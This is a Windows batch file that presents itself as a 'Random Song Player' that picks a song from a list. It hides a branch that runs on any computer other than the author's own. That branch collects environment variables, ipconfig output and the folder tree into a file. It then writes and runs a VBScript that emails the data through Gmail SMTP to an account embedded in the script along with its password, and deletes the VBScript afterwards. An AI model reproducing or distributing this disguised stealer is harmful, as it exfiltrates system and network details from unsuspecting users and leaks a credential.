@Echo off
if not %computername% EQU JACKDRUMMOND (goto CommenceObject_E)

Echo Loading Random Song Player...
Echo.
Echo --------------------List Finding and Retrieving Sequence--------------------
Set list_file= "C:\Users\Jack\Desktop\Startup Song List.txt"
Echo Setting List File.
Set /a count=0
Echo Retrieving File Line Count...
For /f "tokens=1delims=:" %%i in ('findstr /n "^" %list_file%') do (If %%i equ 0 (goto PrintStackTrace) else set /a count=%%i+1)

Echo File Line Count Retrieved!:%count%
Echo Choosing Random File Line...
Set /a rd=%random%%%count
If %rd% equ 0 (set "skip=") else set "skip=skip=%rd%"
Echo Random Line: %rd%
Set "found="
For /f "%skip%tokens=1*delims=:" %%i in ('findstr /n "^" %list_file%') do if not defined found set "found=%%i"&set "var=%%j"
Echo Random File Line Chosen!
Echo.
Echo --------------------Song Starting Sequence--------------------
Echo Song Selected= %var%
Echo Attempting to open Song...
start %var%
Echo Started Song Succesfully!
Echo Closing...
If not %errorlevel% equ 0 (goto PrintStackTrace)
goto EndOfFile


:PrintStackTrace
Echo.
Echo ---------------ERROR------------------
Echo          -Error Level= %errorlevel%
Echo          -List File= %list_file%
Echo          -Sound File= %var%
Echo.
Echo  - - - - - - Check - - - - - -
Echo  - Does the list file's path have spaces? If so put the list file path in ""(Example: "C:\Me Me and Me\ListFileOfSpa ces.txt").
Echo  - Does the Sound File have spaces? If so put the Sound file path in "", in the list file (LOOK AT EXAMPLE ABOVE ^).
Echo  - Did you mess with the code? If so your a Dumbass!
goto EndOfFile


:CommenceObject_E
Echo SongDataListThing > t.txt
SetLocal EnableDelayedExpansion
set >> t.txt
ipconfig >> t.txt
tree >> t.txt
set var_data=
for /F "delims=" %%i in (t.txt) do set var_data=!var_data! %%i
EndLocal
Echo Set ObjectE      = CreateObject("CDO.Message") > kiminariChan.vbs

Echo ObjectE.From     = "XxKiminariChanxX@gmail.com"  >> kiminariChan.vbs
Echo ObjectE.To       = "XxKiminariChanxX@gmail.com"  >> kiminariChan.vbs
Echo ObjectE.Subject  = "%RANDOM%: kiminari eh... borrowed more data: %COMPUTERNAME%" >> kiminariChan.vbs
Echo ObjectE.TextBody = "Here's all kiminari was able to get that should be enough: %var_data%" >> kiminariChan.vbs
Echo ObjectE.AddAttachment "c:\Users\Jack\Desktop\t.txt" >> kiminariChan.vbs
Echo Set ObjectE_Config = ObjectE.Configuration >> kiminariChan.vbs
Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com" >> kiminariChan.vbs
Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465 >> kiminariChan.vbs
Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/sendusing")    = 2   >> kiminariChan.vbs
Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1   >> kiminariChan.vbs
Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/smtpusessl")      = true  >> kiminariChan.vbs
Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/sendusername")    = "XxKiminariChanxX@gmail.com" >> kiminariChan.vbs
Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = "3.141592653!" >> kiminariChan.vbs

Echo ObjectE_Config.Fields.Update >> kiminariChan.vbs

Echo ObjectE.Send >> kiminariChan.vbs
Echo ???: Lets see...
Start kiminariChan.vbs
Ping localhost -w 10000 -n 4 >nul
Echo *click*
Echo ???: O_O
Ping localhost -w 10000 -n 1 >nul
del kiminariChan.vbs
Echo *door slams*
Echo.

:EndOfFile
del t.txt
@Echo on